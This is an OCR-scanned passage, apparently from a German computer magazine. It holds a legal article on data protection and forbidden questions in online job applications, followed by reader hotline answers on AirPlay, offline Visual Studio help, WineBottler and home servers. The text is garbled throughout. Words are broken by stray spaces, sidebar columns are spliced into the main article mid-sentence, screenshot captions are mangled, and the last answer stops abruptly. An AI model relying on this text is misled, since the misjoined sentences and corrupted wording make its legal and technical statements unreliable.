bung bedeutet d ieser R ichterspruch,  dass 
e ine n icht kod ierte Ü bermittlung  m it E inwi l ­
l igung der Kand idaten i n  Ord n u ng i st. Unter­
nehmen,  d ie  den Datenschutzbehörden 
keine offene F lanke bieten wol len und ande­
rerseits i h ren Bewerbern datensicheres Han­
de ln  a m  e igenen Be isp ie l  vorleben möchten, 
sol lten bei der Bereitste l l ung von Webformu­
l a ren dennoch auf  die gäng ige  SSL-Ver­
sch l ü ssel ung  setzen .  Die Entscheidung dar­
über muss auf  jeden Fa l l  feststehen,  bevor 
das U nternehmen sein On l i ne-Bewerbungs­
verfa h ren sta rtet. 

Zugriffsrechte h üten 

Ebenso frühzeitig müssen d ie IT-Verantwort­
l i chen s ich um d ie  Verte i l ung  von Zugriffs­
rechten kümmern.  Schon im Vorfe ld g i l t  es 
s icherzuste l len ,  dass a ussch l ieß l i ch  d iejen i­
gen M itarbeiter a uf Bewerberdaten zugrei­
fen d ü rfen,  deren täg l i ches B rot auch tat­
säch l ich d ie Persona lauswah l  i st. H ier  g i lt das 
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,.Need to know"-Pri nzip: N u r  wer e ine I nfor­
mation für seine Arbeit tatsäch l ich benötigt, 
so l l  auch darauf zug reifen kön nen.  Das BDSG 
macht keinen U ntersch ied zwischen bereits 
angeste l lten M ita rbeitern und  Bewerbern 
und ver langt fü r beide den gleichen techn i ­
schen Schutz [4] . 

Die Pfl icht, e in  Berechtigungskonzept zu 
entwicke ln ,  i st j u ristisch gesehen a l lerd ings  
ein älter H ut. So hat  bereits 1 986 das  Bundes­
verwaltungsgericht (BVerwG) für d ie mögl iche 
E insichtnahme i n  Personalakten entschieden, 
dass der ,.Kreis der mit Personalakten befass­
ten Beschäftigten mögl ichst eng zu ha lten" 
ist [5]. Dem hat sich das Bundesarbeitsgericht 
(BAG) angesch lossen und g leichfa l l s  den Un­
ternehmen ins  Stammbuch geschrieben, dass 

s ie personenbezogene Daten von Mitarbei­
tern ,.sorgfä ltig zu verwahren" haben [6] . 

BVerwG und  BAG hatten mit i h ren Ent­
scheidungen in den 1 980er Jah ren nur d ie  
k lass ischen Aktenschränke i m  B l ick. Heute 
geht es vorrangig um Daten auf Servern. Auf 
die künftig immer  wichtigere F rage, welche 
besonderen Rege ln für d ie Speicherung von 
Bewerberdaten mittels  Cloud Computing gel­
ten sol len, haben Gerichte bis lang noch keine 
Antwort geben können.  Das Speichern perso­
nenbezogener Daten im Niemands land der 
Cloud-Services b i ldet derzeit noch e in  j u ris­
tisch weitgehend u nbestel ltes Feld - obgleich 
sich aus dem BDSG zumindest Einschränkun­
gen für d ie N utzung von Diensten ergeben, 
d ie aus ländischen Behörden freien Zugriff ge-

Unzulässige Frage, zulässige Lüge 

Je mehr I nformationen ü ber e inen Kandida­
ten man hat, desto besser :  Was aus S icht 
e i nes Persona lchefs e in leuchtet, fi ndet 
recht l ich seine Grenzen, auch i n  On l ine-Be­
werbungsformu la ren .  Wer u nzuläss ige F ra­
gen stel lt, kan n  deren unwa h re Beantwor­
tung später n icht  zum Künd igungsgrund 
fü r e inen u nter fa lschen Vorau ssetzungen 
e ingeste l lten Bewerber machen.  Fo lgende 
F ragen s ind tabu :  

Deutscher? 
I nternationa l  a ufgeste l lte U nternehmen 
haben e in berechtigtes I nteresse daran ,  zu 
wissen, ob e in  Aspira nt aus e inem N icht-EU­
Land stammt. I m merh in  hängt es davon ab, 
ob Arbeits- und  Aufentha ltsgenehmigung  
notwend ig s ind .  D ie F rage ,.Kommen S ie  
aus  e inem La nd a u ßerha l b  der  eu ropäi ­
schen Un ion?" i st  im  Webformu la r  zu läss ig .  
N icht gefragt werden da rf aber  nach Her­
kunfts ländern i n nerha l b  der  EU ,  da deren 
U nterscheidu n g  persona ltechn isch i rrele­
vant i st. Den H i nterg rund dafü r  b i ldet d ie  
im  eu ropäischen Recht festgesch r iebene 
Arbeitnehmerfreizüg igkeit Jeder EU-Bürger 
darf i n  jedem Mitg l i edsstaat ohne 
besondere behörd l i che Genehm igung  a r­
beiten .  Ausnah me: Noch b is  zum 
3 1 .  1 2 . 201 3 da rf gefragt werden, ob e i n  
Kand idat aus  Rumän ien oder  Bu lga rien  
kom mt. Fü r  be ide ,.Neu-EU-Länder" g i lt i n  
Bezug a uf d ie  Arbeitserla u bn i s  e i n e  Ü ber­
gangsrege lung [ 1 3] .  

Wehr- oder Zivildienst geleistet? 
Diese Frage würde Männer benachte i l igen, 
da i n  Deutsch land nur s ie zu e inem d ieser 
Dienste herangezogen wurden.  Die D iskri­
m in ieru ng aufgrund des Gesch lechts ver­
bietet § 1 des Al lgemeinen Gle ichstel l ungs­
gesetzes (AGG). 

Familienplanung; Single oder nicht? 
Al lgemein d ü rfen nu r  solche personenbezo­
genen Daten erhoben werden, d ie für den 
verfo lgten Zweck u n bedingt e rforder l i ch  
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s ind - das erg ibt s ich aus  den Grundsätzen 
der Datenspa rsam keit und  Datenvermei­
d ung, d ie  i n  § 3a BDSG verankert s ind. I m  
Arbeitsrecht g i l t  im  Pr inzip n ichts anderes: 
Was zum P rivat leben gehört, geht e inen 
Chef ·i n  spe n ichts a n  [ 1 4] .  Der Fami l ien­
stand eines Mita rbeiters ist erst nach dessen 
E inste l l ung  etwa fü r d ie Abfü h rung  von So­
z ia labgaben relevant - für eine Bewerbung 
tut er n ichts zur  Sache.  Die Frage nach He­
tero- oder Homosexua l ität verbietet s ich 
schon a ufg rund  des Benachtei l i gungsver­
bots in § 1 AGG. 

Polizei bekannt? 
Das ,.po l izei l i che" F ü h ru n g szeugn i s  vom 
Bonner  Bundesamt fü r J u stiz enthä lt nor­
ma lerweise auch  Angaben darüber, d ie  e in  
Arbeitgeber  nach den U rte i l en  des BAG 
n icht von e inem Bewerber ver l angen  
da rf [ 1  5 ] .  Ausnahme :  Wen n  es be i  der  aus­
geschr iebenen Ste l l e  u m  e ine  expon ie rte 
Pos it ion geht, in der man  etwa weit­
reichende fi nanz ie l l e  Entsche id u ngen fü r 
das  U nternehmen t reffen ka nn ,  w i rd d ie  
Frage nach  dem Füh ru ngszeugn i s  statthaft 
sei n .  

Geburtsort u n d  -datum? 
Ob e in potenzie l ler  neuer M itarbeiter i n  Bie­
l efe ld ,  Ber l i n  oder Barce lona geboren i st, 
kann  fü r e inen angebotenen Job n icht rele­
vant sein .  Die F rage, wo und wan n  s ie oder 
er  geboren wurde, darf info lgedessen n icht 
geste l l t  werden .  Beim Alter kom mt noch 
h i nzu, dass das AGG es i n  § 1 als mög l iches 
Merkmal e iner Diskrim in ierung nennt. 

Gewerkschaftsm itglied? 
Die M itg l i edschaft i n  einer Arbeitnehmer­
vertretung spie lt  s ich vorrang ig  i m  P rivat­
leben des künft igen M ita rbeiters ab u n d  
i s t  zudem d u rch Art. 9 Abs.  3 d e s  Grundge­
setzes (GG) gesch ützt. Das  BAG stuft d ie  
Gewerkschaftszugehör igkeit a l s  i rre levan­
tes  Krite ri u m  e i n  u n d  l ässt d i e  F rage  
danach  n icht zu  [ 1 6] .  Ebenso wäre auch  
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währen müssen oder ansonsten keine ange­
messene Datensicherheit gewährleisten [7]. 

I nformationshunger 

Um aus  der Bewerberfl ut d iejen igen Kandi­
daten herauszupicken, d ie  a m  besten zum 
U nternehmen passen, möchten Persona ler  
gern so viel wie mögl ich wissen.  I m  Prinzip 
g i lt der Grundsatz, dass der Arbeitgeber a l le  
für den Job relevanten Fakten be im Aspiran­
ten nachfragen da rf. Der wiederum muss 
wah rheitsgemäße Antworten geben. Sol lte 
nach e iner E inste l l ung  herauskommen, dass 
die gemachten Angaben n icht stimmten, 
kan n  das U nternehmen den bereits ge­
sch lossenen Arbeitsvertrag anfechten und 

etwa d i e  Frage nach dem Parte ibuch zu 
beurte i len .  

Raucher/Nichtraucher? 
Qua lmende Kol legen können N ichtraucher 
verä rgern - etwa dann, wen n  sie aus einer 
Zigarettenpause ins  gemeinsame Büro zu­
rückkommen und e ine unangenehme Duft­
note m itbr ingen. Da d ie Rauchgewohnhei­
ten aber mit der Aufgabenerfü l l ung nichts 
zu tun haben, muss die F rage danach außen 
vor b le iben [ 1 7] .  

Religion? 
Die freie Ausübung rel ig iöser und weltan­
schau l icher Ü berzeugu ngen steht unter 
dem Schutz von Art. 4 GG. Eine Benachtei l i ­
gung wegen so lcher Gründe i st nach § 1 
AGG verboten [ 1 8] .  E ine I nformation zur  
eventue l len Abfüh rung von Kirchensteuern 
bei der Lohnsteuer ist für den Arbeitgeber 
erst im späteren Arbeitsverhältnis erforder­
l i ch .  D ie  Frage nach der  Zugehör igkeit zu 
e iner  Kirche oder Rel ig ionsgemeinschaft 
kan n  nach § 9 AGG a l lerd i ngs zuläss ig sein, 
wenn  sie e ine gerechtfertigte berufl iche An­
forderung betrifft - etwa fü r Mitarbeiter 
k i rch l icher E in richtungen.  

Behinderungen? 
Obwoh l  U nternehmen ab  einer gewissen 
Größe einen best immten Prozentsatz an Ar­
beitsp lätzen mit schwerbehinderten Mitar­
beitern besetzen müssen, sehen ein ige Lan­
desa rbeitsgerichte (LAG) die Frage nach 
einer Schwerbeh inderung im  Bewerbungs­
formu la r  als u nzulässig a n  [ 1 9] .  Das BAG hat 
sich b i s lang n u r  dah ingehend geäußert, 
dass e ine solche F rage sechs  Monate nach 
einer E inste l l ung zu lässig ist [20] . 

Schwanger? 
Soba ld eine u nbefristete Ste l le  ausgesch rie­
ben i st, darf in der On l ine-Bewerbung nicht 
danach gefragt werden, ob d ie Bewerberin 
ein Ki nd erwartet [2 1 ] . 
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damit e ine wi rksa me Kü nd igung erre ichen.  
Es g ibt jedoch Ausnahmen.  

Dem I nformationshu nger s ind näml i ch  
recht l iche Grenzen gesetzt. Best immte Fak­
ten gehören nach Auffassung der Gerichte i n  
den  Privatbereich und  haben i m  Bewer­
bungsformu la r  n ichts zu suchen (s iehe Kas­
ten auf Seite 1 4 1  ) .  Dabei geht die Rechtspre­
chung schon seit J ah rzehnten von e inem 
pragmatischen Szenar ium aus :  Auch auf e ine 
eigentl ich unzu läss ige Frage wird e in  Kandi­
dat im Zweifel sfa l l  doch antworten, u m  se ine 
Chancen auf den a nvis ierten Job .n icht zu 
schmälern. l n  solchen Fäl len räumt das BAG 
Bewerbern gleichsam e in Recht aufs Lügen 
ein. Unzu läss ige F ragen da rf e in  Asp i ra nt 
fa lsch beantworten, ohne a rbeitsrecht l iche 
Konsequenzen befü rchten zu müssen [8] . 

Sechs Monate reichen 

Soba ld e in vakanter Posten besetzt worden 
ist, stel lt  s ich gerade fü r d ie IT-Verantwort l i ­
chen die Frage, was nun aus  recht l icher S icht 
mit den Profi len der abgelehnten Bewerber 
einsch l ieß l ich der mitgeschickten Dokumen­
te zu geschehen hat. Ganz a l lgemein besteht 
hier nach § 35 Abs. 2 N r. 3 BDSG die Pfl icht, 
die Daten zu löschen, da das Bewerbu ngs­
verfah ren abgesch lossen ist und d ie  Daten 
der n icht e ingeste l lten Aspi ra nten n icht 
mehr benötigt werden.  

E ine Aussage da rü ber, wa nn  genau die 
Löschung erfolgen muss, l ässt s ich dem Ge­
setz jedoch nicht entnehmen. Auch andere 
Gesetze l iefern h ie rfü r ke ine  Vorgabe. Auf 
den ersten B l ick  kön nte man davon a us­
gehen, dass die Daten sofort nach Absch l uss 
des Bewerbungsverfah rens zu löschen s ind. 
Es g ibt a l lerd ings  gute Gründe, das gerade 
n icht zu tun:  Das Al lgemeine Gleichste l l ungs­
gesetz (AGG) verbietet es, Bewerber 
aufgrund i h res Gesch lechts, i h rer ethn ischen 
Herkunft beziehungsweise Rassenzugehörig­
keit, i h res Alters, i h rer Re l ig ion,  Welta n­
schauung, sexuel len Identität oder aufg rund 
e iner  Beh inderung abzu lehnen [9] . 

Wenn jemand eine Absage kassiert und vor 
Gericht g laubhaft machen kann, dass d iese -
unabhängig von den eventuel l angegebenen 
Motiven des Unternehmens - tatsächl ich auf 
einem der im AGG genannten Gründe beruht, 
steht ihm monetärer Schadenersatz zu. Was er 
verlangen kann, regelt § 1 5  AGG: Das Gericht 
kann ihm bis zu d rei Monatsgehälter der aus­
geschriebenen Stel le zusprechen. Die gleiche 
Norm regelt aber auch, dass der verschmähte 
Bewerber innerha l b  von zwei Monaten nach 
Erhalt der Absage seinen Anspruch schriftl ich 
geltend machen muss. 

Dieser Zeitraum spielt eine g roße Rolle fü r 
die Löschungsfrist von personenbezogenen 
Daten der n icht e ingeste l lten Bewerber. 
Sch l ieß l i ch  muss das U nternehmen im Fa l l  
e i ne r  Klage auf Geldentschäd igung  nach 
dem AGG i n  der Lage se in nachzuweisen, 
dass kei n  Diskrim in ierungsgrund zur Ableh­
nung gefü h rt hat.  Dafü r braucht es d ie On­
l i ne-Bewerbung mit den dort entha ltenen 
Daten und Dokumenten. 
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Abgesehen von d ieser Zwei monatsfr i st 
i st aber  auch  noch e ine  Best i m m u n g  a u s  
d e m  Arbeitsgerichtsgesetz (ArbGG) wicht ig :  
Nach § 6 1  b ArbGG muss die K lage wegen 
beh a u pteter D iskr i m i n ie rung  ., i n nerh a l b  
von d re i  Monaten, nachdem d e r  Anspruch 
sch rift l i ch geltend gemacht worden i st, er­
hoben werden" [1 0] . Neben den genan nten 
F ri sten ist ferner zu beachten, dass gerade 
bei g rößeren F i rmen IT-seit ig sta ndard is ier­
te P rozesse tu rnusgemäß vorgenommen 
werden,  wozu a uch d ie  Lösch ung  von  Alt­
daten gehört. Mit den genan nten Arg umen­
ten l ässt s ich e ine Löschu ngsfrist von maxi­
ma l  sechs  Monaten nach dem Versand der  
Absage g ut vertreten .  

' 

länger aufbewahren 

Oft haben U nternehmen, aber auch b is lang 
erfo lg lose Bewerber e i n  hohes I nteresse 
da ran ,  dass die Bewerbungsdaten über  
e inen längeren Zeitra u m  a l s  d ie  genan nten 
sechs Monate h i nweg gespeichert b le iben 
so l len .  Vie l le icht erg ibt s ich ja zu e inem spä­
teren Zeitpunkt, dass der  frühere Ka nd idat 
fü r e ine neu frei werdende Ste l le  i n  Betracht 
kom mt. 

Wen n  ein Bewerber gegenüber dem U n­
ternehmen ausd rückl ich in d ie Speicherung 
se iner Daten fü r einen l ängeren Zeitra u m  
e inwi l l igt, i s t  dagegen recht l i ch  n ichts z u  
sagen. Bei Webformu la ren darf e i n e  Check­
box fü r e ine so lche E inwi l l i g u ng n icht vor­
angekreuzt se in ;  der Bewerber muss  se in 
Häkchen a lso bewusst setzen.  Be i  frei gesta lt­
ba ren E-Mai l -Bewerbungen b ietet s ich a l s  
rechtss ichere Va ria nte fü r d ie  E inwi l l igung  
das  Double-Opt- in-Verfah ren a n  [ 1 1 ] . 

Besondere Wünsche 

Abgesehen von der  gewöhn l ichen Lö­
sch ungspfl icht haben U nternehmen noch 
weitere Verpfl ichtungen gegenüber a bge­
lehnten Kand idaten. Möchte der e instige Be­
werber seine Daten n icht mehr beim U nter­
nehmen gespeichert sehen und widerspricht 
er  der  weiteren Aufbewahrung ,  muss das 
U nternehmen die Daten unverzüg l i ch  lö­
schen. Das gi lt auch dann, wenn der Aspirant 
d u rch seine E inwi l l ig u ng dem Vorha lten der 
Daten fü r e inen längeren Zeitraum zuerst zu­
gestimmt hat .  

Spröde da rf s ich e in  Persona lvera ntwort­
l icher jedoch geben, wenn e in  a bge lehnter 
Bewerber ver l angt, dass man i h m  den 
Namen des M ita rbeiters nen nt, der d ie  von 
i h m  angestrebte Ste l l e  bekommen hat. A l s  
Antwort a uf e ine vom BAG vorgelegte F rage 
hat dazu jüngst der  Eu ropäische Gerichtshof 
(EuGH) entsch ieden, dass e in  U nternehmen 
e inem abgewiesenen Aspi ra nten n i cht m it­
tei len  m u ss, ob es statt se iner  überh a u pt 
e ine andere Person e ingeste l l t  hat [ 1 2] .  A l ­
lerd ings  hat der  EuGH ebenfa l l s  darauf h in­
gewiesen, dass d ie  genere l le  Verweigerung 
von Auskü nften zum Ausgang e ines Bewer­
bungsverfah rens d u rchaus  e in  I nd iz fü r e ine 
Diskrim in ieru ng darste l len kann .  

E in  gangbarer Weg im  S i nne  e ines fa i ren 
Bewerbungsverfah rens kön nte fü r e in U nter­
nehmen dar in  bestehen, von vornherein das 
E inverständn i s  a l ler Bewerber dafür einzuho­
len, dass es e inem abgelehnten Kandidaten 
auf Nachfrage mittei lt, wer letztend l ich e in­
geste l l t  wurde. E in solcher Weg, der im Sinne 
a l ler  Bete i l igten fü r Transparenz sorgt, wird 
etwa von vie len Hochsch u len  bereits be­
sch ritten, wenn es um ausgesch riebene Pro­
fessorenste l len geht. (psz) 

Der Autor ist Rechtsanwalt in Harnburg und be­
fasst sich schwerpunktmäßig mit Datenrecht 
(info@kanzlei-kaufmann.de) 
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H 0 TL I N E ��ee�r���ch:-���� 
Adresse hot l ine@ct.de, per Telefon OS 1 1  I 
53 52-333 werktags von 1 3 - 1 4  Uhr, per 
Brief (Anschrift auf S. 1 4) oder per Fax 
OS 1 1 /53 52-41 7. Nutzen Sie auch das Hi lfe­
Forum unter www.ct.de/hotl ine. 

AirPiay nachrüsten 

t;l lch besitze e ine teu re Stereo-An lage, die 
H ich noch n icht zum a lten E isen geben 
möchte. Gibt es e ine Mög l ichkeit, Mus ik  von 
meinem i Phone kabel los zu übertragen? Wie 
mache ich das am geschicktesten? 

D Apple bietet fü r se ine iOS-Geräte d ie A i r­
P iay-Funkt ion an .  Mit i h r  l assen s ich 

Video und Mus ik besonders ei nfach und ele­
gant per WLAN ü bertragen. Wenn  Sie e inen 
Verstärker mit  opt ischem SPDI F-E ingang 
oder  sogar  H DMI  besitzen, können S ie A i r­
Piay mit dem Apple TV fü r 1 09 Euro nach rüs­
ten.  Wenn Sie das Gerät e inmal ig  an  e inem 
Fernseher ei ngerichtet haben, können Sie es 
danach auch ohne betre iben .  Das fu n ktio­
niert n icht nur im Mus ik-Piayer von iOS, son­
dern auch mit a l len anderen Apps wie bei­
spielsweise Spotify. Die Ausgabe beg innt  au­
tomatisch, wenn  das Apple TV eingescha ltet 
ist, ohne dass Sie an einem B i ldsch i rm noch 
etwas einstel len müssen. 

Hat I h re Stereo-An lage nur ana loge An­
sch lüsse, so können Sie den AirP iay-Empfang 
mit dem WLAN-Accesspoint Apple Ai rport 
Express fü r 99 Euro nachrüsten. Er hat e inen 
3,5-mm-Stereo-Ki i n ken-Ansch lu ss, den S ie 
per Adapterkabel leicht mit anderen Kl i nken­
oder Cinch-Eingängen verbinden können.  Er  

Sobald ein AirPiay-Gerät im Netzwerk 
vorhanden ist, blenden iOS-Apps das 
Airplay-Symbol e in .  ln  der Liste kann  man 
dann die Bild- und Ton-Ausgabe einfach 
umstel len. Alternativ findet man das 
AirPiay-Symbol auch in der Steuerleiste 
(Horne-Button zweimal drücken und nach 
rechts wischen) • .  

1 44 

Der a lte wie der neue Airport Express 
können AirPiay-Signale ana log oder 
optisch digital ausgeben. 

g ibt sowohl  e lektrische ana loge wie auch op­
tische d ig ita le S igna le aus. Die Konfiguration 
erledigt man über die kosten lose App "A i r­
port Dienstprogramm" d i rekt a m  iOS-Gerät. 
Danach em pfängt das Gerät a utomatisch 
den A i rP iay-Mus ik-Stream.  Das fu n ktion iert 
natü r l i ch  n icht n u r  an Stereo-An lagen,  
sondern auch mit  Aktiv-Lautsprechern und  
Gettob lastern, so l ange  s ie  e inen ana logen 
E ingang haben. 

· 

Als günstigere Alternativen findet man bei 
e in igen Herste l lern B luetooth-Adapter zum 
Ansch luss  a n  d ie Stereo-An lage. A l le rd ings  
wird fü r d ie B luetooth-Übertragung das Mu­
s iksigna l  erneut komprimiert. Darunter leiden 
speziel l  d ie hohen Frequenzen, sodass bereits 
auf Mittel klasse-Lautsprechern Qua l itätsein­
bußen deutl ich zu hören s ind - selbst wenn  
man  keine Goldohren hat. AirPiay n utzt h in­
gegen den verl u stfreien Apple Lossless 
Codec mit 44, 1 kHz, sodass d ie Übertragung 
s ich n icht auf d ie Klangqua l ität auswi rkt. 

Zwar bieten Herste l ler  wie Sennheiser und 
Creative Labs  spezie l l e  B luetooth-Adapter 
fü r iOS-Geräte mit  Dock-Ansch luss  an, die 
das  bessere Kompress ionsverfa h ren aptX 
e insetzen .  Diese s ind m it 40 Eu ro aber recht 
teuer und benötigen zudem e ine a ptX­
fähige Gegenste l le. 

B luetooth-Verb indungen fun ktionieren i n  
de r  Regel n icht du rch Wände h indurch. Be i  ei­
nigen b i l l igen Adaptern wie beispielsweise 
von Belkin kann der Empfang i n  der Praxis be­
reits dann gestört werden, wenn  keine Sicht­
verbindung zum Empfänger besteht oder d ie­
ser mehr a l s  zwei bis d rei Meter entfernt ist. 
N icht zu letzt k lappen Verb indungsauf- und 
-abbau nicht so  einfach wie  be im AirPiay, son­
dern man muss im iOS-Setup oft länger her­
umfummeln,  bis die Verb indung steht. (hag) 

Offline-Hilfe für 
Visual Studio Express 

&:;'1 Beim nächsten längeren Aufenthalt im 
H Wochenendhaus  möchte ich mich mit  
Microsoft Visua l  Studio 201 0 Express beschäf­
t igen. Dort g ibt es aber nu r  einen Desktop-PC 
ohne l nternet-Anb indung .  Ich habe m i r  
schon d ie CD m i t  den v ie r  Sprachvarianten 
gebrannt und eine Test insta l lation gemacht. 
Leider steht die H i lfe nu r  on l ine bereit und ich 
habe keinerlei H i lfe-Dateien zum Mitnehmen 
gefunden.  Kennen Sie eine Quel le? 

D Ja .  Zunächst sol lten Sie wissen, dass d ie 
kosten losen Express-Vers ionen von Vi­

sua l  Studio 201 0 aus  der ISO-Zusammenstel­
l u n g  n u r  30 Tage la ufen, dann  starten sie 
ohne Reg istrierung n icht mehr. Fa l l s  Sie a l so 
länger ble iben, brauchen Sie e inen Reg istrie­
rungs-Code fü r jede Visua i-Sprache (Vi sua l  
C#, C++ et  cetera). I nsta l l ieren Sie zu Hause 
d ie  Va rianten, d ie  S ie n utzen möchten und 
fordern S ie  jewei l s  dafü r aus  dem Prog ramm 
heraus  on l i ne  e i nen  Registrierungs-Code an .  
Mit e inem solchen Code können Sie mehrere 
Prog ramme des g le ichen Typs auf versch ie­
denen Rechnern freischalten. 

Die H i lfe-Texte stehen fü r die Express-Ver­
s ionen weder auf e inem Datenträger noch 
zum Down load zur  Verfügung .  Bei der Vol l ­
vers ion V i sua l  Stud io 201 0 auf DVD fi ndet 
man sie sehr woh l  i n  e inem separaten Ver­
zeichnis, auch bei der Tria l-Vers ion. Laut Mi­
crosoft u nterl iegt d ie H i lfe n icht den N ut­
zungsbeschränkungen des Hauptprogramms. 

Laden Sie sich a lso e in Tria l-Paket von Vi­
sual Stud io  201 0 bei Microsoft heru nter 
(siehe c't-Lin k) .  Es sind vier g roße Dateien mit 
zusammen mehr als 2 GByte. Die erste Datei, 
eine Exe, baut daraus ein ISO-F i le zum Bren­
nen auf DVD. I nsgesamt benötigt d iese Ak­
tion 4,5 GByte temporä ren P latz auf der P lat­
te. Um nicht eine DVD nu r  fü r einen Transport 
zu verschwenden, mounten Sie d ie ISO-Datei 
a l s  v i rtue l le  DVD etwa m it dem WinCDEmu 
aus  dem heise Softwareverzeichn is  (siehe c't­
L ink) und kopieren s ich das H i lfe-Verzeichnis 
heraus .  Danach können Sie d ie  Download­
Dateien sowie d ie ISO-Datei wieder löschen. 
Das herauskopierte H i l fe-Verzeich n i s  "Pro­
ductDocumentation" ist etwa 1 , 1  GByte g roß 
( 1  ,3 GByte bei der deutschen Vers ion) und 
passt bequem auf einen Stick. 

Auf dem Zie i-PC i n sta l l ieren Sie die ge­
wünschte Visua i-Stud io-Vers ion und rufen 
ansch l ießend im Menü u nter "H i lfe" mit 
"H i lfeei n ste l l u ngen verwa lten" den H i lfe­
b ib l iotheks-Manager a uf. Dieser sol lte I h nen 
fü nf Funktionen anb ieten .  Beim ersten Auf­
ruf des Managers stehen d ie Funktionen ver­
mut l ich noch n icht zur Verfügung .  Sie müs­
sen das Fenster e inma l  mit OK sch l ießen und 
dann  noch ma l  öffnen.  

Nun wä h len  S ie " I n ha l t  von Datenträger 
i n sta l l ieren" und  wechseln zu I h rem St ick mit 
dem H i lfe-Ordner. Dar in befi ndet s ich die 
Datei  "He lpContentSetup.msha", d ie  der 
H i lfe-Manager haben wi l l .  Nachdem Sie s ie 
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Über den 
Hi lfebibl iotheks­

Manager von 
Visual Studio 

201 0  lassen sich 
H i lfeinhalte 

onl ine oder von 
Datenträger 

\!) H1tfebtbhotheks r·1anager Microsoft Help Vlewer 1 .0 �" � 

Hi lfebibl iotheks-Manager 

Onlinehitfe oder lokale Hilfe auswählen 

abrufen und in 
die lokale 
Bibl iothek 
speichern. 

�I' Online nach Updates suchen 

Inhalt von Onlinespeicherort installieren 

;-(" Jnhak von Datenträger installieren 

X Inhalt entfernen 

ausgewählt  haben, zeigt der Manager d ie l n­
ha lte an, aus  denen Sie s ich d ie gewünschten 
Themen aussuchen und OK k l icken .  Zum 
Sch luss  . k l icken S ie i m  H i lfe-Manager  noch 
oben auf "On l ineh i lfe oder loka le  H i lfe" und 
markieren dar in loka le  H i lfe. Sol lte der  O K­
Knopf ausgegraut sein, wechseln S ie e inma l  
von lokale auf On l ineh i lfe und wieder zurück, 
dann  sol lte es fu n kt ion ieren .  Es kan n  se in ,  
dass d ie I nha lte dann i m mer noch n icht loka l  
nutzbar s ind .  l n  d e m  Fa l l  sta rten S i e  e inma l  
Programm und PC neu ;  damit  sol lte a l les w ie  
gewünscht zur Verfügung stehen. (bb) 

www.d.de/1115144 

XMedia Recode auf dem Mac 

t,;'l l ch möchte auf meinem Mac Videos ko­
H d ieren .  l n  c't lese ich häufig ,  dass  s ich 

Take-..morr 
Take S (schneiler).morr 
XMIIdia ll.ecode ln Wine B. .. 

00:00;... MPEG-4 AVC / JU 64 60.00 .. . 
OO::CQ;Q2 MPEG-1 AVC I H.264 60.00 .. . 
00:02:10 MPEG-1 AVC/ H.264 60.00 .. . 
OO:Ol:OII MPEG-1 AVC f H.264 150.00 .. . 
OO:Ol:ll MPEG-<t AVC/ H.264 60.00 .. . 
OO:: Ill.:ll MPEG-1A.VCJ H.261 60.00 .. . 
OO::Ol;..S MPEG-1 AVC/ H.264 60.00 . .  
00:01:44 MPEG-4 AVCJ H.264 60.00 ... 
00:01:29 MPEG-1 AVC I H.Z64 60.00 ..• 

Format I VIdeo I ftlter/Vorschau I Jobs I 
AuS91bet'orm.t - - Au1g_.streema 

'""'' leenutzerdetinlert ::J f-' Nut VIdeo r NurAudiD � 
•�oc H.1� . r \IJdeol.lndJWo::ll 
o.teiendung ��:� .:. rldOOCodK 1Vf (VP8) 

' -i  
MlV 

Codoc MlTS 
M2V -

["'"' -
1+4V 
Matroska Audlo 

Codec; MatroskaVldeo 
MMF 
MCN "" 

Auqobe: "" . 
Zltlordnr. I C:\Usen\cttut\MY VIdeos 

Seenden 

dafür X Media Recode gut e ignet. Leider steht 
die Software nu r  fü r Windows zur Verfügung.  
G ibt es da n icht e inen Trick, wie ich d ie An­
wendung auf meinem Mac zum Laufen be­
komme? 

D Den g i bt es i n  der Tat. Der "Windows 
Emu lator" Wine füh rt Windews-Anwen­

d ungen auf dem Mac i n  sepa raten Fenstern 
aus .  E infacher  geht es a l le rd i ngs  mit dem 
Wine-Ableger namens "WineBott ler" ( s iehe 
c't-L ink) .  Er  sta rtet Windows-Software n icht 
n u r, sondern verpackt s ie soga r  i n  echte 
Mac-Prog ram me. Damit l assen s ich Anwen­
d ungen auch von Rechner zu Rechner  m it­
nehmen.  

Damit XMedia Recode auf dem Mac laufen 
lernt, laden Sie s ich d ie I n sta l l at ionsdatei he­
runter und füh ren WineBott ler aus. Ein Kl ick 
auf Create Custom Prefixes ruft d ie  Ansicht 
zur  Erste l l ung e iner neuen App auf. Wäh len 
Sie u nter "select F i le" den l nsta l le r  von XMe-

Auf Upd1tes... Hilfe 

Untertitel 

"''' 

J 
I 

.:J 

Durchsuchtri 

r Ubenchrelberl r. NlchtOber«hfeiben ( automatiKh ln <o.taname + lnder>) ÖITnen . •  

Mit dem WineBottler bekommt man auch unter Mac O S  X Xmedia Recode an  den Start. 
Die kostenlose Software transkodiert Videos nicht nur  nach H .264. 
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dia  Recode und  bestätigen über die Scha lt­
fläche ,.Open". 

Die Scha ltfläche ,. l nsta l l " sta rtet d ie eigent­
l iche I n sta l l at ion des Prog ramms. Geben S ie 
h ie r  e inen Namen und den Speicherort fü r 
d ie App e in ,  i n  d ie  Xmedia Recode verpackt 
werden so l l .  Nach e inem Kl ick auf ,.Save" und 
e iner ku rzen Wartezeit erscheint d ie I n sta l la­
t ionsrout ine von Xmedia Recode. Wählen S ie 
d ie gewünschte Sprache und kl icken s ich mit 
,.Weiter" du rch d ie I nsta l lat ion. Entfernen S ie 
im  letzten Sch ritt das Häkchen neben ,.XMe­
dia Recode sta rten" und kl icken auf ,.Fertig­
ste l len". 

Zum Absch l uss bestätigen S ie d ie  Sta rt­
datei der Appl i kation und schon steht XMe­
dia Recode u nter dem gewäh lten Pfad fü r Sie 
bereit. 

So verpackt läuft das Programm fast wie 
u nter Windows. E inz iger Nachte i l :  Die Be­
dienoberfläche startet i n  einem g roßen Fens­
ter m it weißem Rand. (F ior ian Klan/vza) 

www.d.de/1 2 7 5144 

Sparsamer x86-Server 

E;'1 Mein Home-Server so l l  rund u m  d ie U h r  
H la ufen.  Desha l b  suche ich e in  besonders 
spa rsames System. E ine fert ige NAS-Box 
kommt n icht i nfrage, wei l ich mit verschiede­
nen Betriebssystemen exper imentieren wi l l ,  
etwa L inux, F reeNAS oder Windows Home 
Server 201 1 .  Taugt dafü r e in  M in i-PC wie d ie 
Zotac Zbox I D8 1  oder e in  Netbook? 

D Eher n icht, fa l l s  S ie mehr  Speicherplatz 
wünschen, a l s  die e inz ige 2,S-Zo i i -Fest­

platte solcher Rechner fasst. I ntern lassen s ie 
s ich n icht mit  g rößeren Laufwerken a ufrüs-

